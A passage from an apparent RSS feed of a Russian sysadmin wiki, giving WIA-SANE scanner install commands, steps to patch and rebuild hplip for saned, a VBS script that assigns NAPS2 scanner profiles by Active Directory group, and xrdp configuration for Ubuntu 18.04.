devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Noginsk&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.215.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Egor&amp;#039;evsk&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.229.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Zheleznodorozhnyj&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.239.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 B.Tishinskiy&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.206.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Balashiha&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.233.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Mytishi&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.217.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Lubertsy&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.221.2 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;
devsane.exe device install wiasane.inf -x=1 &amp;quot;-f=M521 Zvenigorod&amp;quot; -h=10.50.6.218 -p=6566 -r=hpaio:/net/HP_LaserJet_Pro_MFP_M521dn?ip=10.166.218.1 -u= -s= &amp;quot;-l=c:\Program Files\SANE WIA Driver\_device install.log&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;WiaSane&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;wiasane&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;12564-18806&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit10&quot; id=&quot;sanewinds&quot;&gt;SaneWinDS&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Может сканировать. Удается вставить &lt;abbr title=&quot;Uniform Resource Identifier&quot;&gt;URI&lt;/abbr&gt; сканера в соотвествующее поле и сканировать. Но сам фронтенд (версия 0.9.5589) пока что очень убогий и годится только для тестов.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SaneWinDS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sanewinds&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;18807-19128&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit11&quot; id=&quot;swingsane&quot;&gt;SwingSane&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Не удалось.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;SwingSane&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;swingsane&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;19129-19172&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit12&quot; id=&quot;патчим_драйвер_hplip_чтобы_работали_сканеры_netsaned_iphpaionethp&quot;&gt;Патчим драйвер hplip чтобы работали сканеры net:_saned_IP_:hpaio:/net/HP_&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Если при попытке прописать сканер &lt;strong&gt;wiasane&lt;/strong&gt; не обнаружвает сканер, то, скорее это связано с багом в библиотеках &lt;strong&gt;hplip&lt;/strong&gt; на сервере saned. Исправить ситуацию можно собрав &lt;strong&gt;hplip&lt;/strong&gt; из исходников и применив патч, описанный тут: &lt;a href=&quot;https://sourceforge.net/p/hplip/mailman/message/2564768/&quot; class=&quot;urlextern&quot; title=&quot;https://sourceforge.net/p/hplip/mailman/message/2564768/&quot; rel=&quot;ugc nofollow&quot;&gt;https://sourceforge.net/p/hplip/mailman/message/2564768/&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Останавливаем &lt;strong&gt;saned&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/saned stop&lt;/pre&gt;

&lt;p&gt;
Удаляем старый &lt;strong&gt;hplip&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get remove hplip&lt;/pre&gt;

&lt;p&gt;
Cкачиваем исходники драйвера: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://downloads.sourceforge.net/project/hplip/hplip/3.15.7/hplip-3.15.7_py2.5.tar&lt;/pre&gt;

&lt;p&gt;
Рядом с распакованным архивом кладем патч &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/hplip_sane_patch_and_make.rar&quot; class=&quot;media mediafile mf_rar&quot; title=&quot;linux_faq:hplip_sane_patch_and_make.rar (1.1 KB)&quot;&gt;hplip_sane_patch_and_make.rar&lt;/a&gt; (&lt;strong&gt;hplip-sane-patch.sh&lt;/strong&gt; и &lt;strong&gt;hplip-sane-patch.diff&lt;/strong&gt;) распаковываем и применяем его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod a+x ./hplip-sane-patch.sh &amp;amp;&amp;amp; ./hplip-sane-patch.sh&lt;/pre&gt;

&lt;p&gt;
Дальше собираем по инструкции:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;http://hplipopensource.com/hplip-web/install/manual/distros/ubuntu.html&lt;/pre&gt;

&lt;p&gt;
Для &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; будет так:   
Ставим зависимости:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install --assume-yes build-essential avahi-utils libcups2 cups libcups2-dev cups-bsd cups-client libcupsimage2-dev libdbus-1-dev build-essential ghostscript openssl libjpeg-dev libsnmp-dev snmp-mibs-downloader libtool libusb-1.0.0-dev wget policykit-1 policykit-1-gnome python3-dbus python3-gi python3-dev python3-notify2 python3-pil python3-pyqt4 gtk2-engines-pixbuf python3-dbus.mainloop.qt python3-reportlab python3-lxml libsane libsane-dev sane-utils xsane&lt;/pre&gt;

&lt;p&gt;
Конфигурим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./configure --with-hpppddir=/usr/share/ppd/HP --libdir=/usr/lib --prefix=/usr --enable-qt4 --disable-libusb01_build --enable-doc-build --disable-cups-ppd-install --disable-foomatic-drv-install --disable-foomatic-ppd-install --disable-hpijs-install --disable-udev_sysfs_rules --disable-policykit --enable-cups-drv-install --enable-hpcups-install --enable-network-build --enable-dbus-build --enable-scan-build --enable-fax-build&lt;/pre&gt;

&lt;p&gt;
Компилим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make&lt;/pre&gt;

&lt;p&gt;
Ставим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make install&lt;/pre&gt;

&lt;p&gt;
Затем ставим плагин:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hp-plugin -i&lt;/pre&gt;

&lt;p&gt;
И собственно принтер/сканер:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hp-setup -i -a &amp;lt;ip address of printer&amp;gt;&lt;/pre&gt;

&lt;p&gt;
Теперь можно запустить &lt;strong&gt;saned&lt;/strong&gt;, настроить на клиенте backend net и проверяем с удаленного клиента:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/saned start&lt;/pre&gt;

&lt;p&gt;
И на клиенте проверяем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;scanimage -L&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0430\u0442\u0447\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440 hplip \u0447\u0442\u043e\u0431\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0441\u043a\u0430\u043d\u0435\u0440\u044b net:_saned_IP_:hpaio:\/net\/HP_&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0430\u0442\u0447\u0438\u043c_\u0434\u0440\u0430\u0439\u0432\u0435\u0440_hplip_\u0447\u0442\u043e\u0431\u044b_\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438_\u0441\u043a\u0430\u043d\u0435\u0440\u044b_netsaned_iphpaionethp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;19173-22039&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit13&quot; id=&quot;прописываем_пользователям_сканеры_в_naps2_в_соответствии_с_группами_ad&quot;&gt;Прописываем пользователям сканеры в NAPS2 в соответствии с группами AD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для сканирования я применяю бесплатную опенсорсную утилитку &lt;strong&gt;NAPS2&lt;/strong&gt; - &lt;a href=&quot;http://sourceforge.net/projects/naps2/&quot; class=&quot;urlextern&quot; title=&quot;http://sourceforge.net/projects/naps2/&quot; rel=&quot;ugc nofollow&quot;&gt;http://sourceforge.net/projects/naps2/&lt;/a&gt; &lt;br/&gt;

Если на терминальном сервере много сканеров, то пользователю неудобно выбирать каждый раз нужный.
Можно создавать профили &lt;strong&gt;NAPS2&lt;/strong&gt; в зависимости от того, в какие группы входит пользователь.&lt;br/&gt;

Каждому сканеру сопоставлена групппа. Если пользовтаель входит в группу - ему пропишется нужный сканер. Названия групп и сканеров разные, потому что группы изначально использовались для прописывания принтеров. Но можно сделать их одинаковыми и тогда скриптец немного упростится. &lt;br/&gt;

Вот этот скриптец VBS для прописывания сканеров в &lt;strong&gt;NAPS2&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Dim dicScanGroups, arrGroups
Set dicScanGroups = CreateObject(&amp;quot;Scripting.Dictionary&amp;quot;)
&amp;#039;Заполняем словарь групп-сканеров. 
&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;&amp;#039;Key - имя группы, Value - имя сканера
dicScanGroups.Add &amp;quot;Prn_1536_Gilyar6&amp;quot;,&amp;quot;M1530 Gilyar 6&amp;quot;
dicScanGroups.Add &amp;quot;Prn_1536_Gilyar7&amp;quot;,&amp;quot;M1530 Gilyar 7&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Chehov_M521&amp;quot;,&amp;quot;M521 Chehov&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Egorevsk_M521&amp;quot;,&amp;quot;M521 Egor&amp;#039;evsk&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Kolomna_M521&amp;quot;,&amp;quot;M521 Kolomna&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Podolsk_M521&amp;quot;,&amp;quot;M521 Podolsk&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Scholkovo_HP_MFP&amp;quot;,&amp;quot;M521 Schelkovo&amp;quot;
dicScanGroups.Add &amp;quot;Printer_B_Tishinskiy_M521&amp;quot;,&amp;quot;M521 B.Tishinskiy&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Balashiha_M521&amp;quot;,&amp;quot;M521 Balashiha&amp;quot;
dicScanGroups.Add &amp;quot;Printer_ul.Dm.Ulyanova_HP521&amp;quot;,&amp;quot;M521 ul.Dm.Ulyanova&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Lobnya_M521&amp;quot;,&amp;quot;M521 Lobnya&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Lubertsy_M521&amp;quot;,&amp;quot;M521 Lubertsy&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Mytishi_M521&amp;quot;,&amp;quot;M521 Mytishi&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Pavlovskiy_Posad_M521&amp;quot;,&amp;quot;M521 PavlPosad&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Volokolamsk_M521&amp;quot;,&amp;quot;M521 Volokolamsk&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Zvenigorod_M521&amp;quot;,&amp;quot;M521 Zvenigorod&amp;quot;
dicScanGroups.Add &amp;quot;Prn_HP521_Zheleznodorozhnyj&amp;quot;,&amp;quot;M521 Zheleznodorozhnyj&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Kashira_M521&amp;quot;,&amp;quot;M521 Kashira&amp;quot;
dicScanGroups.Add &amp;quot;Prn_Klin_M521&amp;quot;,&amp;quot;M521 Klin&amp;quot;
dicScanGroups.Add &amp;quot;Prn_M521_Noginsk_def&amp;quot;,&amp;quot;M521 Noginsk&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Orehovo-Zuevo_M521&amp;quot;,&amp;quot;M521 Orehovo-Zuevo&amp;quot;
dicScanGroups.Add &amp;quot;Printer_Shatura_M521&amp;quot;,&amp;quot;M521 Shatura&amp;quot;

arrGroups = dicScanGroups.Keys

Dim intCount, strGroup, ScannerName, ScanerDevName, ScannerID
Dim objDeviceManager, i, objFSO, ProfileFile, DesktopPath

Set objUser = CreateObject(&amp;quot;ADSystemInfo&amp;quot;)
Set CurrentUser = GetObject(&amp;quot;LDAP://&amp;quot; &amp;amp; objUser.UserName)
strGroup = LCase(Join(CurrentUser.MemberOf))

Set objFSO = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)

Set Shell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)
Set DeviceManager = Wscript.createObject(&amp;quot;WIA.DeviceManager&amp;quot;)

&amp;#039;создаем папку и файл %APPDATA%\NAPS2\profiles.xml
Call Shell.Run(&amp;quot;%COMSPEC% /c mkdir &amp;quot;&amp;quot;%APPDATA%\NAPS2&amp;quot;&amp;quot;&amp;quot;,0,true)
&amp;#039;&amp;#039;objFSO.CreateFolder(Shell.expandEnvironmentStrings(&amp;quot;%APPDATA%&amp;quot;) &amp;amp; &amp;quot;\NAPS2&amp;quot;)
Set ProfileFile = objFSO.CreateTextFile(Shell.expandEnvironmentStrings(&amp;quot;%APPDATA%&amp;quot;) &amp;amp; &amp;quot;\NAPS2\profiles.xml&amp;quot;, True)
ProfileFile.WriteLine &amp;quot;&amp;lt;?xml version=&amp;quot; &amp;amp; &amp;quot;&amp;quot;&amp;quot;&amp;quot; &amp;amp; &amp;quot;1.0&amp;quot; &amp;amp; &amp;quot;&amp;quot;&amp;quot;&amp;quot; &amp;amp; &amp;quot;?&amp;gt;&amp;quot;
ProfileFile.WriteLine &amp;quot;&amp;lt;ArrayOfExtendedScanSettings xmlns:xsi=&amp;quot;&amp;amp;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;amp;&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&amp;amp;&amp;quot;&amp;quot;&amp;quot;&amp;quot; &amp;amp; &amp;quot; xmlns:xsd=&amp;quot;&amp;amp;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;amp;&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;&amp;amp;&amp;quot;&amp;quot;&amp;quot;&amp;quot;&amp;amp;&amp;quot;&amp;gt;&amp;quot;

&amp;#039;Перебираем группы из словарика и и если группа есть у пользюка то
For intCount = 0 to dicSCanGroups.count - 1
ScannerName = dicScanGroups.Item(arrGroups(intCOunt))
If InStr(strGroup, lcase(arrGroups(intCount))) Then
&amp;#039;Создаем ярлык на утилитку сканирования
DesktopPath = Shell.SpecialFolders(&amp;quot;Desktop&amp;quot;)
Set oShortCut = Shell.CreateShortcut(DesktopPath &amp;amp; &amp;quot;\ScanTool.lnk&amp;quot;)
oShortCut.TargetPath = &amp;quot;C:\ScanTool\NAPS2.exe&amp;quot;
oShortCut.Save
&amp;#039;перебираем сканеры чтобы найти DevID
	For i = 1 to DeviceManager.DeviceInfos.Count
	ScanerDevName = DeviceManager.DeviceInfos(i).Properties(&amp;quot;Name&amp;quot;).Value
	ScannerID = DeviceManager.DeviceInfos(i).DeviceID
	If StrComp(ScanerDevName, ScannerName, vbTextCompare) = 0 Then
			&amp;#039;прописываем сканер в файлик
			ProfileFile.WriteLine &amp;quot;  &amp;lt;ExtendedScanSettings&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;Device&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;      &amp;lt;ID&amp;gt;&amp;quot; &amp;amp; ScannerID &amp;amp; &amp;quot;&amp;lt;/ID&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;      &amp;lt;Name&amp;gt;&amp;quot; &amp;amp; ScanerDevName &amp;amp; &amp;quot;&amp;lt;/Name&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;/Device&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;DriverName&amp;gt;wia&amp;lt;/DriverName&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;DisplayName&amp;gt;&amp;quot; &amp;amp; ScanerDevName &amp;amp; &amp;quot;&amp;lt;/DisplayName&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;IconID&amp;gt;0&amp;lt;/IconID&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;MaxQuality&amp;gt;false&amp;lt;/MaxQuality&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;IsDefault&amp;gt;true&amp;lt;/IsDefault&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;Version&amp;gt;1&amp;lt;/Version&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;UseNativeUI&amp;gt;false&amp;lt;/UseNativeUI&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;AfterScanScale&amp;gt;OneToOne&amp;lt;/AfterScanScale&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;Brightness&amp;gt;0&amp;lt;/Brightness&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;Contrast&amp;gt;0&amp;lt;/Contrast&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;BitDepth&amp;gt;C24Bit&amp;lt;/BitDepth&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;PageAlign&amp;gt;Left&amp;lt;/PageAlign&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;PageSize&amp;gt;Letter&amp;lt;/PageSize&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;Resolution&amp;gt;Dpi200&amp;lt;/Resolution&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;    &amp;lt;PaperSource&amp;gt;Glass&amp;lt;/PaperSource&amp;gt;&amp;quot;
			ProfileFile.WriteLine &amp;quot;  &amp;lt;/ExtendedScanSettings&amp;gt;&amp;quot;
		End If
	Next
End If
Next
ProfileFile.WriteLine &amp;quot;&amp;lt;/ArrayOfExtendedScanSettings&amp;gt;&amp;quot;
ProfileFile.Close&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u0432 NAPS2 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438 AD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c_\u0441\u043a\u0430\u043d\u0435\u0440\u044b_\u0432_naps2_\u0432_\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438_\u0441_\u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438_ad&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;22040-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 14 May 2019 07:52:07 +0000</pubDate>
        </item>
        <item>
            <title>настройка_xrdp_для_переподключения_сессии</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_xrdp_%D0%B4%D0%BB%D1%8F_%D0%BF%D0%B5%D1%80%D0%B5%D0%BF%D0%BE%D0%B4%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%B5%D1%81%D1%81%D0%B8%D0%B8</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_xrdp_на_ubuntu_1804&quot;&gt;Настройка xrdp на Ubuntu 18.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Протестировано на &lt;strong&gt;Ubuntu Server 18.04&lt;/strong&gt; + &lt;strong&gt;KDE&lt;/strong&gt;. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install -y xrdp 
sudo service xrdp restart&lt;/pre&gt;

&lt;p&gt;
В принципе всё - можно подключаться. &lt;br/&gt;

В первом пункте меню при подключении нужно выбрать &lt;strong&gt;Xorg&lt;/strong&gt; (выбран по дефолту). Переподключение к существующей сессии работает сразу. &lt;br/&gt;

Чтобы убрать из меню при входе лишние пункты нужно отредактировать &lt;strong&gt;/etc/xrdp/xrdp.ini&lt;/strong&gt;. Примерно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Globals]
ini_version=1
fork=true
port=3389
use_vsock=false
tcp_nodelay=true
tcp_keepalive=true
#tcp_send_buffer_bytes=32768
#tcp_recv_buffer_bytes=32768
security_layer=negotiate
crypt_level=high
certificate=
key_file=
ssl_protocols=TLSv1, TLSv1.1, TLSv1.2
autorun=
allow_channels=true
allow_multimon=true
bitmap_cache=true
bitmap_compression=true
bulk_compression=true
hidelogwindow=true
max_bpp=32
new_cursors=true
use_fastpath=both
blue=009cb5
grey=dedede

; Login Screen Window Title
ls_title=RDLEAS

; top level window background color in RGB format
ls_top_window_bg_color=009cb5

; width and height of login screen
ls_width=350
ls_height=430

; login screen background color in RGB format
ls_bg_color=dedede

; optional background image filename (bmp format).
#ls_background_image=

; logo
; full path to bmp-file or file in shared folder
ls_logo_filename=
ls_logo_x_pos=55
ls_logo_y_pos=50

; for positioning labels such as username, password etc
ls_label_x_pos=30
ls_label_width=60

; for positioning text and combo boxes next to above labels
ls_input_x_pos=110
ls_input_width=210

; y pos for first label and combo box
ls_input_y_pos=220

; OK button
ls_btn_ok_x_pos=142
ls_btn_ok_y_pos=370
ls_btn_ok_width=85
ls_btn_ok_height=30

; Cancel button
ls_btn_cancel_x_pos=237
ls_btn_cancel_y_pos=370
ls_btn_cancel_width=85
ls_btn_cancel_height=30

[Logging]
LogFile=xrdp.log
LogLevel=INFO
EnableSyslog=true
SyslogLevel=INFO
; LogLevel and SysLogLevel could by any of: core, error, warning, info or debug

[Channels]
rdpdr=true
rdpsnd=true
drdynvc=true
cliprdr=true
rail=true
xrdpvr=true
tcutils=true

[Xorg]
name=Xorg
lib=libxup.so
username=ask
password=ask
ip=127.0.0.1
port=-1
code=20&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 xrdp \u043d\u0430 Ubuntu 18.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_xrdp_\u043d\u0430_ubuntu_1804&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-2377&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;если_не_переключается_раскладка_клавиатуры&quot;&gt;Если не переключается раскладка клавиатуры&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Также, чтобы нормально переключались раскладки клавиатуры после переподключения к уже запущенной сессии (&lt;a href=&quot;https://github.com/neutrinolabs/xrdp/issues/337&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/neutrinolabs/xrdp/issues/337&quot; rel=&quot;ugc nofollow&quot;&gt;проблема описана тут&lt;/a&gt;), нужно отредактировать файлик &lt;strong&gt;/etc/xrdp/xrdp_keyboard.ini&lt;/strong&gt;. &lt;br/&gt;

Нужно отредактировать секцию &lt;strong&gt;[default_layouts_map]&lt;/strong&gt; и пару строк привести к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[default_layouts_map]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru&lt;/pre&gt;

&lt;p&gt;
а в конец файла добавить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[rdp_keyboard_ru]
keyboard_type=4
keyboard_subtype=1
model=pc104
options=grp:alt_shift_toggle
rdp_layouts=default_rdp_layouts
layouts_map=layouts_map_ru

[layouts_map_ru]
rdp_layout_us=us,ru
rdp_layout_ru=us,ru&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_\u043d\u0435_\u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f_\u0440\u0430\u0441\u043a\u043b\u0430\u0434\u043a\u0430_\u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2378-3344&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;переподключение_к_сессии_после_рестарта_сервиса_xrdp&quot;&gt;Переподключение к сессии после рестарта сервиса xrdp&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В версии xrdp, которая поставляется с Ubuntu 18.04, если во время рестарта сервиса были подключены сессии - переподключиться к ним не удается!&lt;br/&gt;

Проблема описана тут: &lt;a href=&quot;https://github.com/neutrinolabs/xrdp/issues/800&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/neutrinolabs/xrdp/issues/800&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/neutrinolabs/xrdp/issues/800&lt;/a&gt; &lt;br/&gt;

А тут предложено решение: &lt;a href=&quot;https://github.com/ben-cohen/xrdp/commit/5ff8fb8a959dce9d182007a2abf145df6559c87a&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ben-cohen/xrdp/commit/5ff8fb8a959dce9d182007a2abf145df6559c87a&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ben-cohen/xrdp/commit/5ff8fb8a959dce9d182007a2abf145df6559c87a&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
